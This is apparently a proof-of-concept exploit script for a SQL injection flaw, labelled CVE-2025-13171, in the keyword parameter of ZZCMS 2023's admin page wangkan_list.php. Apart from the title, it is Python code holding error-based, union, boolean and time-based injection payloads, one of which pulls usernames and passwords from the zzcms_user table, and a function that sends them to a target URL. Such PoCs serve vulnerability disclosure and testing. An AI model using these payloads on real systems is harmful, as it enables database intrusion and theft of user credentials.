CVE-2025-13171 ZZCMS 2023 /admin/wangkan_list.php SQL注入漏洞

import requests # CVE-2025-13171 PoC - ZZCMS 2023 SQL Injection # Target: /admin/wangkan_list.php # Parameter: keyword target_url = "http://target.com/admin/wangkan_list.php" # SQL Injection payloads payloads = [ # Basic error-based injection "test' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -", # Union-based injection to extract version "test' UNION SELECT 1,2,3,@@version,5,6,7,8,9,10-- -", # Boolean-based blind injection "test' AND 1=1-- -", # Time-based blind injection "test'; SLEEP(5)-- -", # Extract user table data "test' UNION SELECT 1,2,3,GROUP_CONCAT(username,0x3a,password),5,6,7,8,9,10 FROM zzcms_user-- -", ] def exploit_sqli(url, payload): params = { 'keyword': payload } try: response = requests.get(url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" # Example usage if __name__ == "__main__": print("[*] CVE-2025-13171 SQL Injection PoC") print(f"[*] Target: {target_url}") # Test with basic payload result = exploit_sqli(target_url, payloads[0]) print(f"[+] Response length: {len(result)}") print("[*] Check response for database information")